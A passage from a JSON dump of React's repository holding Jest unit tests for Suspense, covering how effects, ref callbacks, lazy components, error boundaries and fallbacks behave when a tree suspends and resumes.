resolveText('Async');\n      });\n      assertLog([\n        'AsyncText:Async render',\n        'RefCheckerOuter render',\n        'ClassComponent:refObject render',\n        'RefCheckerInner:refObject render',\n        'ClassComponent:refCallback render',\n        'RefCheckerInner:refCallback render',\n        'Text:Fallback destroy insertion',\n        'Text:Fallback destroy layout',\n        'AsyncText:Async create layout',\n        'RefCheckerInner:refObject create layout ref? false',\n        'RefCheckerInner:refCallback create layout ref? false',\n        'RefCheckerOuter refCallback value? true',\n        'RefCheckerOuter create layout refObject? true refCallback? true',\n        'Text:Fallback destroy passive',\n        'AsyncText:Async create passive',\n      ]);\n      expect(ReactNoop).toMatchRenderedOutput(<span prop=\"Async\" />);\n\n      await act(() => {\n        ReactNoop.render(null);\n      });\n      assertLog([\n        'AsyncText:Async destroy layout',\n        'RefCheckerOuter destroy layout refObject? true refCallback? true',\n        'RefCheckerInner:refObject destroy layout ref? false',\n        'RefCheckerOuter refCallback value? false',\n        'RefCheckerInner:refCallback destroy layout ref? false',\n        'AsyncText:Async destroy passive',\n      ]);\n      expect(ReactNoop).toMatchRenderedOutput(null);\n    });\n\n    // @gate enableLegacyCache\n    it('should be cleared and reset for function components with useImperativeHandle', async () => {\n      const FunctionComponent = React.forwardRef((props, ref) => {\n        Scheduler.log('FunctionComponent render');\n        React.useImperativeHandle(\n          ref,\n          () => ({\n            // Noop\n          }),\n          [],\n        );\n        return props.children;\n      });\n      FunctionComponent.displayName = 'FunctionComponent';\n\n      function App({children}) {\n        Scheduler.log(`App render`);\n        return (\n          <Suspense fallback={<Text text=\"Fallback\" />}>\n            {children}\n            <RefCheckerOuter Component={FunctionComponent} />\n          </Suspense>\n        );\n      }\n\n      // Mount\n      await act(() => {\n        ReactNoop.render(<App />);\n      });\n      assertLog([\n        'App render',\n        'RefCheckerOuter render',\n        'FunctionComponent render',\n        'RefCheckerInner:refObject render',\n        'FunctionComponent render',\n        'RefCheckerInner:refCallback render',\n        'RefCheckerInner:refObject create layout ref? false',\n        'RefCheckerInner:refCallback create layout ref? false',\n        'RefCheckerOuter refCallback value? true',\n        'RefCheckerOuter create layout refObject? true refCallback? true',\n      ]);\n      expect(ReactNoop).toMatchRenderedOutput(null);\n\n      // Suspend the inner Suspense subtree (only inner effects should be destroyed)\n      await act(() => {\n        ReactNoop.render(<App children={<AsyncText text=\"Async\" />} />);\n      });\n      await advanceTimers(1000);\n      assertLog([\n        'App render',\n        'Suspend:Async',\n        'Text:Fallback render',\n        'RefCheckerOuter destroy layout refObject? true refCallback? true',\n        'RefCheckerInner:refObject destroy layout ref? false',\n        'RefCheckerOuter refCallback value? false',\n        'RefCheckerInner:refCallback destroy layout ref? false',\n        'Text:Fallback create insertion',\n        'Text:Fallback create layout',\n        'Text:Fallback create passive',\n        // pre-warming\n        'Suspend:Async',\n        'RefCheckerOuter render',\n        'FunctionComponent render',\n        'RefCheckerInner:refObject render',\n        'FunctionComponent render',\n        'RefCheckerInner:refCallback render',\n      ]);\n      expect(ReactNoop).toMatchRenderedOutput(<span prop=\"Fallback\" />);\n\n      // Resolving the suspended resource should re-create inner layout effects.\n      await act(async () => {\n        await resolveText('Async');\n      });\n      assertLog([\n        'AsyncText:Async render',\n        'RefCheckerOuter render',\n        'FunctionComponent render',\n        'RefCheckerInner:refObject render',\n        'FunctionComponent render',\n        'RefCheckerInner:refCallback render',\n        'Text:Fallback destroy insertion',\n        'Text:Fallback destroy layout',\n        'AsyncText:Async create layout',\n        'RefCheckerInner:refObject create layout ref? false',\n        'RefCheckerInner:refCallback create layout ref? false',\n        'RefCheckerOuter refCallback value? true',\n        'RefCheckerOuter create layout refObject? true refCallback? true',\n        'Text:Fallback destroy passive',\n        'AsyncText:Async create passive',\n      ]);\n      expect(ReactNoop).toMatchRenderedOutput(<span prop=\"Async\" />);\n\n      await act(() => {\n        ReactNoop.render(null);\n      });\n      assertLog([\n        'AsyncText:Async destroy layout',\n        'RefCheckerOuter destroy layout refObject? true refCallback? true',\n        'RefCheckerInner:refObject destroy layout ref? false',\n        'RefCheckerOuter refCallback value? false',\n        'RefCheckerInner:refCallback destroy layout ref? false',\n        'AsyncText:Async destroy passive',\n      ]);\n      expect(ReactNoop).toMatchRenderedOutput(null);\n    });\n\n    // @gate enableLegacyCache\n    it('should not reset for user-managed values', async () => {\n      function RefChecker({forwardedRef}) {\n        Scheduler.log(`RefChecker render`);\n        React.useLayoutEffect(() => {\n          Scheduler.log(\n            `RefChecker create layout ref? ${forwardedRef.current === 'test'}`,\n          );\n          return () => {\n            Scheduler.log(\n              `RefChecker destroy layout ref? ${\n                forwardedRef.current === 'test'\n              }`,\n            );\n          };\n        }, []);\n        return null;\n      }\n\n      function App({children = null}) {\n        const ref = React.useRef('test');\n        Scheduler.log(`App render`);\n        React.useLayoutEffect(() => {\n          Scheduler.log(`App create layout ref? ${ref.current === 'test'}`);\n          return () => {\n            Scheduler.log(`App destroy layout ref? ${ref.current === 'test'}`);\n          };\n        }, []);\n        return (\n          <Suspense fallback={<Text text=\"Fallback\" />}>\n            {children}\n            <RefChecker forwardedRef={ref} />\n          </Suspense>\n        );\n      }\n\n      // Mount\n      await act(() => {\n        ReactNoop.render(<App />);\n      });\n      assertLog([\n        'App render',\n        'RefChecker render',\n        'RefChecker create layout ref? true',\n        'App create layout ref? true',\n      ]);\n      expect(ReactNoop).toMatchRenderedOutput(null);\n\n      // Suspend the inner Suspense subtree (only inner effects should be destroyed)\n      await act(() => {\n        ReactNoop.render(<App children={<AsyncText text=\"Async\" />} />);\n      });\n      await advanceTimers(1000);\n      assertLog([\n        'App render',\n        'Suspend:Async',\n        'Text:Fallback render',\n        'RefChecker destroy layout ref? true',\n        'Text:Fallback create insertion',\n        'Text:Fallback create layout',\n        'Text:Fallback create passive',\n        // pre-warming\n        'Suspend:Async',\n        'RefChecker render',\n      ]);\n      expect(ReactNoop).toMatchRenderedOutput(<span prop=\"Fallback\" />);\n\n      // Resolving the suspended resource should re-create inner layout effects.\n      await act(async () => {\n        await resolveText('Async');\n      });\n      assertLog([\n        'AsyncText:Async render',\n        'RefChecker render',\n        'Text:Fallback destroy insertion',\n        'Text:Fallback destroy layout',\n        'AsyncText:Async create layout',\n        'RefChecker create layout ref? true',\n        'Text:Fallback destroy passive',\n        'AsyncText:Async create passive',\n      ]);\n      expect(ReactNoop).toMatchRenderedOutput(<span prop=\"Async\" />);\n\n      await act(() => {\n        ReactNoop.render(null);\n      });\n      assertLog([\n        'App destroy layout ref? true',\n        'AsyncText:Async destroy layout',\n        'RefChecker destroy layout ref? true',\n        'AsyncText:Async destroy passive',\n      ]);\n      expect(ReactNoop).toMatchRenderedOutput(null);\n    });\n\n    describe('that throw errors', () => {\n      // @gate enableLegacyCache\n      it('are properly handled in ref callbacks', async () => {\n        let useRefCallbackShouldThrow = false;\n\n        function ThrowsInRefCallback({unused}) {\n          Scheduler.log('ThrowsInRefCallback render');\n          const refCallback = React.useCallback(value => {\n            Scheduler.log('ThrowsInRefCallback refCallback ref? ' + !!value);\n            if (useRefCallbackShouldThrow) {\n              throw Error('expected');\n            }\n          }, []);\n          return <span ref={refCallback} prop=\"ThrowsInRefCallback\" />;\n        }\n\n        function App({children = null}) {\n          Scheduler.log('App render');\n          React.useLayoutEffect(() => {\n            Scheduler.log('App create layout');\n            return () => {\n              Scheduler.log('App destroy layout');\n            };\n          }, []);\n          return (\n            <>\n              <Suspense fallback={<Text text=\"Fallback\" />}>\n                {children}\n                <ThrowsInRefCallback />\n                <Text text=\"Inside\" />\n              </Suspense>\n              <Text text=\"Outside\" />\n            </>\n          );\n        }\n\n        await act(() => {\n          ReactNoop.render(\n            <ErrorBoundary fallback={<Text text=\"Error\" />}>\n              <App />\n            </ErrorBoundary>,\n          );\n        });\n        assertLog([\n          'ErrorBoundary render: try',\n          'App render',\n          'ThrowsInRefCallback render',\n          'Text:Inside render',\n          'Text:Outside render',\n          'Text:Inside create insertion',\n          'Text:Outside create insertion',\n          'ThrowsInRefCallback refCallback ref? true',\n          'Text:Inside create layout',\n          'Text:Outside create layout',\n          'App create layout',\n          'Text:Inside create passive',\n          'Text:Outside create passive',\n        ]);\n        expect(ReactNoop).toMatchRenderedOutput(\n          <>\n            <span prop=\"ThrowsInRefCallback\" />\n            <span prop=\"Inside\" />\n            <span prop=\"Outside\" />\n          </>,\n        );\n\n        // Schedule an update that causes React to suspend.\n        await act(() => {\n          ReactNoop.render(\n            <ErrorBoundary fallback={<Text text=\"Error\" />}>\n              <App>\n                <AsyncText text=\"Async\" />\n              </App>\n            </ErrorBoundary>,\n          );\n        });\n        assertLog([\n          'ErrorBoundary render: try',\n          'App render',\n          'Suspend:Async',\n          'Text:Fallback render',\n          'Text:Outside render',\n          'ThrowsInRefCallback refCallback ref? false',\n          'Text:Inside destroy layout',\n          'Text:Fallback create insertion',\n          'Text:Fallback create layout',\n          'Text:Fallback create passive',\n          // pre-warming\n          'Suspend:Async',\n          'ThrowsInRefCallback render',\n          'Text:Inside render',\n        ]);\n        expect(ReactNoop).toMatchRenderedOutput(\n          <>\n            <span prop=\"ThrowsInRefCallback\" hidden={true} />\n            <span prop=\"Inside\" hidden={true} />\n            <span prop=\"Fallback\" />\n            <span prop=\"Outside\" />\n          </>,\n        );\n\n        // Resolve the pending suspense and throw\n        useRefCallbackShouldThrow = true;\n        await act(async () => {\n          await resolveText('Async');\n        });\n        assertLog([\n          'AsyncText:Async render',\n          'ThrowsInRefCallback render',\n          'Text:Inside render',\n\n          // Even though an error was thrown in refCallback,\n          // subsequent layout effects should still be created.\n          'Text:Fallback destroy insertion',\n          'Text:Fallback destroy layout',\n          'AsyncText:Async create layout',\n          'ThrowsInRefCallback refCallback ref? true',\n          'Text:Inside create layout',\n\n          // Finish the in-progress commit\n          'Text:Fallback destroy passive',\n          'AsyncText:Async create passive',\n\n          // Destroy insertion, layout, and passive effects in the errored tree.\n          'App destroy layout',\n          'AsyncText:Async destroy layout',\n          'ThrowsInRefCallback refCallback ref? false',\n          'Text:Inside destroy insertion',\n          'Text:Inside destroy layout',\n          'Text:Outside destroy insertion',\n          'Text:Outside destroy layout',\n          'AsyncText:Async destroy passive',\n          'Text:Inside destroy passive',\n          'Text:Outside destroy passive',\n\n          // Render fallback\n          'ErrorBoundary render: catch',\n          'Text:Error render',\n          'Text:Error create insertion',\n          'Text:Error create layout',\n          'Text:Error create passive',\n        ]);\n        expect(ReactNoop).toMatchRenderedOutput(<span prop=\"Error\" />);\n      });\n    });\n  });\n});\n"
  },
  {
    "path": "packages/react-reconciler/src/__tests__/ReactSuspenseEffectsSemanticsDOM-test.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @emails react-core\n */\n\n'use strict';\n\nlet React;\nlet ReactDOM;\nlet ReactDOMClient;\nlet Scheduler;\nlet act;\nlet container;\nlet waitForAll;\nlet assertLog;\nlet fakeModuleCache;\n\ndescribe('ReactSuspenseEffectsSemanticsDOM', () => {\n  beforeEach(() => {\n    jest.resetModules();\n\n    React = require('react');\n    ReactDOM = require('react-dom');\n    ReactDOMClient = require('react-dom/client');\n    Scheduler = require('scheduler');\n    act = require('internal-test-utils').act;\n\n    const InternalTestUtils = require('internal-test-utils');\n    waitForAll = InternalTestUtils.waitForAll;\n    assertLog = InternalTestUtils.assertLog;\n\n    container = document.createElement('div');\n    document.body.appendChild(container);\n\n    fakeModuleCache = new Map();\n  });\n\n  afterEach(() => {\n    document.body.removeChild(container);\n  });\n\n  async function fakeImport(Component) {\n    const record = fakeModuleCache.get(Component);\n    if (record === undefined) {\n      const newRecord = {\n        status: 'pending',\n        value: {default: Component},\n        pings: [],\n        then(ping) {\n          switch (newRecord.status) {\n            case 'pending': {\n              newRecord.pings.push(ping);\n              return;\n            }\n            case 'resolved': {\n              ping(newRecord.value);\n              return;\n            }\n            case 'rejected': {\n              throw newRecord.value;\n            }\n          }\n        },\n      };\n      fakeModuleCache.set(Component, newRecord);\n      return newRecord;\n    }\n    return record;\n  }\n\n  function resolveFakeImport(moduleName) {\n    const record = fakeModuleCache.get(moduleName);\n    if (record === undefined) {\n      throw new Error('Module not found');\n    }\n    if (record.status !== 'pending') {\n      throw new Error('Module already resolved');\n    }\n    record.status = 'resolved';\n    record.pings.forEach(ping => ping(record.value));\n  }\n\n  function Text(props) {\n    Scheduler.log(props.text);\n    return props.text;\n  }\n\n  it('should not cause a cycle when combined with a render phase update', async () => {\n    let scheduleSuspendingUpdate;\n\n    function App() {\n      const [value, setValue] = React.useState(true);\n\n      scheduleSuspendingUpdate = () => setValue(!value);\n\n      return (\n        <>\n          <React.Suspense fallback=\"Loading...\">\n            <ComponentThatCausesBug value={value} />\n            <ComponentThatSuspendsOnUpdate shouldSuspend={!value} />\n          </React.Suspense>\n        </>\n      );\n    }\n\n    function ComponentThatCausesBug({value}) {\n      const [mirroredValue, setMirroredValue] = React.useState(value);\n      if (mirroredValue !== value) {\n        setMirroredValue(value);\n      }\n\n      // eslint-disable-next-line no-unused-vars\n      const [_, setRef] = React.useState(null);\n\n      return <div ref={setRef} />;\n    }\n\n    const neverResolves = {then() {}};\n\n    function ComponentThatSuspendsOnUpdate({shouldSuspend}) {\n      if (shouldSuspend) {\n        // Fake Suspend\n        throw neverResolves;\n      }\n      return null;\n    }\n\n    await act(() => {\n      const root = ReactDOMClient.createRoot(container);\n      root.render(<App />);\n    });\n\n    await act(() => {\n      scheduleSuspendingUpdate();\n    });\n  });\n\n  it('does not destroy ref cleanup twice when hidden child is removed', async () => {\n    function ChildA({label}) {\n      return (\n        <span\n          ref={node => {\n            if (node) {\n              Scheduler.log('Ref mount: ' + label);\n            } else {\n              Scheduler.log('Ref unmount: ' + label);\n            }\n          }}>\n          <Text text={label} />\n        </span>\n      );\n    }\n\n    function ChildB({label}) {\n      return (\n        <span\n          ref={node => {\n            if (node) {\n              Scheduler.log('Ref mount: ' + label);\n            } else {\n              Scheduler.log('Ref unmount: ' + label);\n            }\n          }}>\n          <Text text={label} />\n        </span>\n      );\n    }\n\n    const LazyChildA = React.lazy(() => fakeImport(ChildA));\n    const LazyChildB = React.lazy(() => fakeImport(ChildB));\n\n    function Parent({swap}) {\n      return (\n        <React.Suspense fallback={<Text text=\"Loading...\" />}>\n          {swap ? <LazyChildB label=\"B\" /> : <LazyChildA label=\"A\" />}\n        </React.Suspense>\n      );\n    }\n\n    const root = ReactDOMClient.createRoot(container);\n    await act(() => {\n      root.render(<Parent swap={false} />);\n    });\n    assertLog(['Loading...']);\n\n    await act(() => resolveFakeImport(ChildA));\n    assertLog(['A', 'Ref mount: A']);\n    expect(container.innerHTML).toBe('<span>A</span>');\n\n    // Swap the position of A and B\n    ReactDOM.flushSync(() => {\n      root.render(<Parent swap={true} />);\n    });\n    assertLog(['Loading...', 'Ref unmount: A']);\n    expect(container.innerHTML).toBe(\n      '<span style=\"display: none;\">A</span>Loading...',\n    );\n\n    await act(() => resolveFakeImport(ChildB));\n    assertLog(['B', 'Ref mount: B']);\n    expect(container.innerHTML).toBe('<span>B</span>');\n  });\n\n  it('does not call componentWillUnmount twice when hidden child is removed', async () => {\n    class ChildA extends React.Component {\n      componentDidMount() {\n        Scheduler.log('Did mount: ' + this.props.label);\n      }\n      componentWillUnmount() {\n        Scheduler.log('Will unmount: ' + this.props.label);\n      }\n      render() {\n        return <Text text={this.props.label} />;\n      }\n    }\n\n    class ChildB extends React.Component {\n      componentDidMount() {\n        Scheduler.log('Did mount: ' + this.props.label);\n      }\n      componentWillUnmount() {\n        Scheduler.log('Will unmount: ' + this.props.label);\n      }\n      render() {\n        return <Text text={this.props.label} />;\n      }\n    }\n\n    const LazyChildA = React.lazy(() => fakeImport(ChildA));\n    const LazyChildB = React.lazy(() => fakeImport(ChildB));\n\n    function Parent({swap}) {\n      return (\n        <React.Suspense fallback={<Text text=\"Loading...\" />}>\n          {swap ? <LazyChildB label=\"B\" /> : <LazyChildA label=\"A\" />}\n        </React.Suspense>\n      );\n    }\n\n    const root = ReactDOMClient.createRoot(container);\n    await act(() => {\n      root.render(<Parent swap={false} />);\n    });\n    assertLog(['Loading...']);\n\n    await act(() => resolveFakeImport(ChildA));\n    assertLog(['A', 'Did mount: A']);\n    expect(container.innerHTML).toBe('A');\n\n    // Swap the position of A and B\n    ReactDOM.flushSync(() => {\n      root.render(<Parent swap={true} />);\n    });\n    assertLog(['Loading...', 'Will unmount: A']);\n    expect(container.innerHTML).toBe('Loading...');\n\n    await act(() => resolveFakeImport(ChildB));\n    assertLog(['B', 'Did mount: B']);\n    expect(container.innerHTML).toBe('B');\n  });\n\n  it('does not destroy layout effects twice when parent suspense is removed', async () => {\n    function ChildA({label}) {\n      React.useLayoutEffect(() => {\n        Scheduler.log('Did mount: ' + label);\n        return () => {\n          Scheduler.log('Will unmount: ' + label);\n        };\n      }, []);\n      return <Text text={label} />;\n    }\n    function ChildB({label}) {\n      React.useLayoutEffect(() => {\n        Scheduler.log('Did mount: ' + label);\n        return () => {\n          Scheduler.log('Will unmount: ' + label);\n        };\n      }, []);\n      return <Text text={label} />;\n    }\n    const LazyChildA = React.lazy(() => fakeImport(ChildA));\n    const LazyChildB = React.lazy(() => fakeImport(ChildB));\n\n    function Parent({swap}) {\n      return (\n        <React.Suspense fallback={<Text text=\"Loading...\" />}>\n          {swap ? <LazyChildB label=\"B\" /> : <LazyChildA label=\"A\" />}\n        </React.Suspense>\n      );\n    }\n\n    const root = ReactDOMClient.createRoot(container);\n    await act(() => {\n      root.render(<Parent swap={false} />);\n    });\n    assertLog(['Loading...']);\n\n    await act(() => resolveFakeImport(ChildA));\n    assertLog(['A', 'Did mount: A']);\n    expect(container.innerHTML).toBe('A');\n\n    // Swap the position of A and B\n    ReactDOM.flushSync(() => {\n      root.render(<Parent swap={true} />);\n    });\n    assertLog(['Loading...', 'Will unmount: A']);\n    expect(container.innerHTML).toBe('Loading...');\n\n    // Destroy the whole tree, including the hidden A\n    ReactDOM.flushSync(() => {\n      root.render(<h1>Hello</h1>);\n    });\n    await waitForAll([]);\n    expect(container.innerHTML).toBe('<h1>Hello</h1>');\n  });\n\n  it('does not destroy ref cleanup twice when parent suspense is removed', async () => {\n    function ChildA({label}) {\n      return (\n        <span\n          ref={node => {\n            if (node) {\n              Scheduler.log('Ref mount: ' + label);\n            } else {\n              Scheduler.log('Ref unmount: ' + label);\n            }\n          }}>\n          <Text text={label} />\n        </span>\n      );\n    }\n\n    function ChildB({label}) {\n      return (\n        <span\n          ref={node => {\n            if (node) {\n              Scheduler.log('Ref mount: ' + label);\n            } else {\n              Scheduler.log('Ref unmount: ' + label);\n            }\n          }}>\n          <Text text={label} />\n        </span>\n      );\n    }\n\n    const LazyChildA = React.lazy(() => fakeImport(ChildA));\n    const LazyChildB = React.lazy(() => fakeImport(ChildB));\n\n    function Parent({swap}) {\n      return (\n        <React.Suspense fallback={<Text text=\"Loading...\" />}>\n          {swap ? <LazyChildB label=\"B\" /> : <LazyChildA label=\"A\" />}\n        </React.Suspense>\n      );\n    }\n\n    const root = ReactDOMClient.createRoot(container);\n    await act(() => {\n      root.render(<Parent swap={false} />);\n    });\n    assertLog(['Loading...']);\n\n    await act(() => resolveFakeImport(ChildA));\n    assertLog(['A', 'Ref mount: A']);\n    expect(container.innerHTML).toBe('<span>A</span>');\n\n    // Swap the position of A and B\n    ReactDOM.flushSync(() => {\n      root.render(<Parent swap={true} />);\n    });\n    assertLog(['Loading...', 'Ref unmount: A']);\n    expect(container.innerHTML).toBe(\n      '<span style=\"display: none;\">A</span>Loading...',\n    );\n\n    // Destroy the whole tree, including the hidden A\n    ReactDOM.flushSync(() => {\n      root.render(<h1>Hello</h1>);\n    });\n    await waitForAll([]);\n    expect(container.innerHTML).toBe('<h1>Hello</h1>');\n  });\n\n  it('does not call componentWillUnmount twice when parent suspense is removed', async () => {\n    class ChildA extends React.Component {\n      componentDidMount() {\n        Scheduler.log('Did mount: ' + this.props.label);\n      }\n      componentWillUnmount() {\n        Scheduler.log('Will unmount: ' + this.props.label);\n      }\n      render() {\n        return <Text text={this.props.label} />;\n      }\n    }\n\n    class ChildB extends React.Component {\n      componentDidMount() {\n        Scheduler.log('Did mount: ' + this.props.label);\n      }\n      componentWillUnmount() {\n        Scheduler.log('Will unmount: ' + this.props.label);\n      }\n      render() {\n        return <Text text={this.props.label} />;\n      }\n    }\n\n    const LazyChildA = React.lazy(() => fakeImport(ChildA));\n    const LazyChildB = React.lazy(() => fakeImport(ChildB));\n\n    function Parent({swap}) {\n      return (\n        <React.Suspense fallback={<Text text=\"Loading...\" />}>\n          {swap ? <LazyChildB label=\"B\" /> : <LazyChildA label=\"A\" />}\n        </React.Suspense>\n      );\n    }\n\n    const root = ReactDOMClient.createRoot(container);\n    await act(() => {\n      root.render(<Parent swap={false} />);\n    });\n    assertLog(['Loading...']);\n\n    await act(() => resolveFakeImport(ChildA));\n    assertLog(['A', 'Did mount: A']);\n    expect(container.innerHTML).toBe('A');\n\n    // Swap the position of A and B\n    ReactDOM.flushSync(() => {\n      root.render(<Parent swap={true} />);\n    });\n    assertLog(['Loading...', 'Will unmount: A']);\n    expect(container.innerHTML).toBe('Loading...');\n\n    // Destroy the whole tree, including the hidden A\n    ReactDOM.flushSync(() => {\n      root.render(<h1>Hello</h1>);\n    });\n    await waitForAll([]);\n    expect(container.innerHTML).toBe('<h1>Hello</h1>');\n  });\n\n  // @gate !disableLegacyMode\n  it('regression: unmount hidden tree, in legacy mode', async () => {\n    // In legacy mode, when a tree suspends and switches to a fallback, the\n    // effects are not unmounted. So we have to unmount them during a deletion.\n\n    function Child() {\n      React.useLayoutEffect(() => {\n        Scheduler.log('Mount');\n        return () => {\n          Scheduler.log('Unmount');\n        };\n      }, []);\n      return <Text text=\"Child\" />;\n    }\n\n    function Sibling() {\n      return <Text text=\"Sibling\" />;\n    }\n    const LazySibling = React.lazy(() => fakeImport(Sibling));\n\n    function App({showMore}) {\n      return (\n        <React.Suspense fallback={<Text text=\"Loading...\" />}>\n          <Child />\n          {showMore ? <LazySibling /> : null}\n        </React.Suspense>\n      );\n    }\n\n    // Initial render\n    ReactDOM.render(<App showMore={false} />, container);\n    assertLog(['Child', 'Mount']);\n\n    // Update that suspends, causing the existing tree to switches it to\n    // a fallback.\n    ReactDOM.render(<App showMore={true} />, container);\n    assertLog([\n      'Child',\n      'Loading...',\n\n      // In a concurrent root, the effect would unmount here. But this is legacy\n      // mode, so it doesn't.\n      // Unmount\n    ]);\n\n    // Delete the tree and unmount the effect\n    ReactDOM.render(null, container);\n    assertLog(['Unmount']);\n  });\n\n  it('does not call cleanup effects twice after a bailout', async () => {\n    const never = new Promise(resolve => {});\n    function Never() {\n      throw never;\n    }\n\n    let setSuspended;\n    let setLetter;\n\n    function App() {\n      const [suspended, _setSuspended] = React.useState(false);\n      setSuspended = _setSuspended;\n      const [letter, _setLetter] = React.useState('A');\n      setLetter = _setLetter;\n\n      return (\n        <React.Suspense fallback=\"Loading...\">\n          <Child letter={letter} />\n          {suspended && <Never />}\n        </React.Suspense>\n      );\n    }\n\n    let nextId = 0;\n    const freed = new Set();\n    let setStep;\n\n    function Child({letter}) {\n      const [, _setStep] = React.useState(0);\n      setStep = _setStep;\n\n      React.useLayoutEffect(() => {\n        const localId = nextId++;\n        Scheduler.log('Did mount: ' + letter + localId);\n        return () => {\n          if (freed.has(localId)) {\n            throw Error('Double free: ' + letter + localId);\n          }\n          freed.add(localId);\n          Scheduler.log('Will unmount: ' + letter + localId);\n        };\n      }, [letter]);\n    }\n\n    const root = ReactDOMClient.createRoot(container);\n    await act(() => {\n      root.render(<App />);\n    });\n    assertLog(['Did mount: A0']);\n\n    await act(() => {\n      setStep(1);\n      setSuspended(false);\n    });\n    assertLog([]);\n\n    await act(() => {\n      setStep(1);\n    });\n    assertLog([]);\n\n    await act(() => {\n      setSuspended(true);\n    });\n    assertLog(['Will unmount: A0']);\n\n    await act(() => {\n      setSuspended(false);\n      setLetter('B');\n    });\n    assertLog(['Did mount: B1']);\n\n    await act(() => {\n      root.unmount();\n    });\n    assertLog(['Will unmount: B1']);\n  });\n});\n"
  },
  {
    "path": "packages/react-reconciler/src/__tests__/ReactSuspenseFallback-test.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\nlet React;\nlet ReactNoop;\nlet Scheduler;\nlet Suspense;\nlet getCacheForType;\nlet caches;\nlet seededCache;\nlet waitForAll;\n\ndescribe('ReactSuspenseFallback', () => {\n  beforeEach(() => {\n    jest.resetModules();\n\n    React = require('react');\n    ReactNoop = require('react-noop-renderer');\n    Scheduler = require('scheduler');\n    Suspense = React.Suspense;\n    getCacheForType = React.unstable_getCacheForType;\n    caches = [];\n    seededCache = null;\n\n    const InternalTestUtils = require('internal-test-utils');\n    waitForAll = InternalTestUtils.waitForAll;\n  });\n\n  function createTextCache() {\n    if (seededCache !== null) {\n      // Trick to seed a cache before it exists.\n      // TODO: Need a built-in API to seed data before the initial render (i.e.\n      // not a refresh because nothing has mounted yet).\n      const cache = seededCache;\n      seededCache = null;\n      return cache;\n    }\n\n    const data = new Map();\n    const version = caches.length + 1;\n    const cache = {\n      version,\n      data,\n      resolve(text) {\n        const record = data.get(text);\n        if (record === undefined) {\n          const newRecord = {\n            status: 'resolved',\n            value: text,\n          };\n          data.set(text, newRecord);\n        } else if (record.status === 'pending') {\n          const thenable = record.value;\n          record.status = 'resolved';\n          record.value = text;\n          thenable.pings.forEach(t => t());\n        }\n      },\n      reject(text, error) {\n        const record = data.get(text);\n        if (record === undefined) {\n          const newRecord = {\n            status: 'rejected',\n            value: error,\n          };\n          data.set(text, newRecord);\n        } else if (record.status === 'pending') {\n          const thenable = record.value;\n          record.status = 'rejected';\n          record.value = error;\n          thenable.pings.forEach(t => t());\n        }\n      },\n    };\n    caches.push(cache);\n    return cache;\n  }\n\n  function readText(text) {\n    const textCache = getCacheForType(createTextCache);\n    const record = textCache.data.get(text);\n    if (record !== undefined) {\n      switch (record.status) {\n        case 'pending':\n          Scheduler.log(`Suspend! [${text}]`);\n          throw record.value;\n        case 'rejected':\n          Scheduler.log(`Error! [${text}]`);\n          throw record.value;\n        case 'resolved':\n          return textCache.version;\n      }\n    } else {\n      Scheduler.log(`Suspend! [${text}]`);\n\n      const thenable = {\n        pings: [],\n        then(resolve) {\n          if (newRecord.status === 'pending') {\n            thenable.pings.push(resolve);\n          } else {\n            Promise.resolve().then(() => resolve(newRecord.value));\n          }\n        },\n      };\n\n      const newRecord = {\n        status: 'pending',\n        value: thenable,\n      };\n      textCache.data.set(text, newRecord);\n\n      throw thenable;\n    }\n  }\n\n  function Text({text}) {\n    Scheduler.log(text);\n    return <span prop={text} />;\n  }\n\n  function AsyncText({text, showVersion}) {\n    const version = readText(text);\n    const fullText = showVersion ? `${text} [v${version}]` : text;\n    Scheduler.log(fullText);\n    return <span prop={fullText} />;\n  }\n\n  // @gate enableLegacyCache\n  it('suspends and shows fallback', async () => {\n    ReactNoop.render(\n      <Suspense fallback={<Text text=\"Loading...\" />}>\n        <AsyncText text=\"A\" />\n      </Suspense>,\n    );\n\n    await waitForAll([\n      'Suspend! [A]',\n      'Loading...',\n      // pre-warming\n      'Suspend! [A]',\n    ]);\n    expect(ReactNoop).toMatchRenderedOutput(<span prop=\"Loading...\" />);\n  });\n\n  // @gate enableLegacyCache\n  it('suspends and shows null fallback', async () => {\n    ReactNoop.render(\n      <Suspense fallback={null}>\n        <AsyncText text=\"A\" />\n      </Suspense>,\n    );\n\n    await waitForAll([\n      'Suspend! [A]',\n      // null\n      // pre-warming\n      'Suspend! [A]',\n    ]);\n    expect(ReactNoop).toMatchRenderedOutput(null);\n  });\n\n  // @gate enableLegacyCache\n  it('suspends and shows undefined fallback', async () => {\n    ReactNoop.render(\n      <Suspense>\n        <AsyncText text=\"A\" />\n      </Suspense>,\n    );\n\n    await waitForAll([\n      'Suspend! [A]',\n      // null\n      // pre-warming\n      'Suspend! [A]',\n    ]);\n    expect(ReactNoop).toMatchRenderedOutput(null);\n  });\n\n  // @gate enableLegacyCache\n  it('suspends and shows inner fallback', async () => {\n    ReactNoop.render(\n      <Suspense fallback={<Text text=\"Should not show...\" />}>\n        <Suspense fallback={<Text text=\"Loading...\" />}>\n          <AsyncText text=\"A\" />\n        </Suspense>\n      </Suspense>,\n    );\n\n    await waitForAll([\n      'Suspend! [A]',\n      'Loading...',\n      // pre-warming\n      'Suspend! [A]',\n    ]);\n    expect(ReactNoop).toMatchRenderedOutput(<span prop=\"Loading...\" />);\n  });\n\n  // @gate enableLegacyCache\n  it('suspends and shows inner undefined fallback', async () => {\n    ReactNoop.render(\n      <Suspense fallback={<Text text=\"Should not show...\" />}>\n        <Suspense>\n          <AsyncText text=\"A\" />\n        </Suspense>\n      </Suspense>,\n    );\n\n    await waitForAll([\n      'Suspend! [A]',\n      // null\n      // pre-warming\n      'Suspend! [A]',\n    ]);\n    expect(ReactNoop).toMatchRenderedOutput(null);\n  });\n\n  // @gate enableLegacyCache\n  it('suspends and shows inner null fallback', async () => {\n    ReactNoop.render(\n      <Suspense fallback={<Text text=\"Should not show...\" />}>\n        <Suspense fallback={null}>\n          <AsyncText text=\"A\" />\n        </Suspense>\n      </Suspense>,\n    );\n\n    await waitForAll([\n      'Suspend! [A]',\n      // null\n      // pre-warming\n      'Suspend! [A]',\n    ]);\n    expect(ReactNoop).toMatchRenderedOutput(null);\n  });\n});\n"
  },
  {
    "path": "packages/react-reconciler/src/__tests__/ReactSuspenseFuzz-test.internal.js",
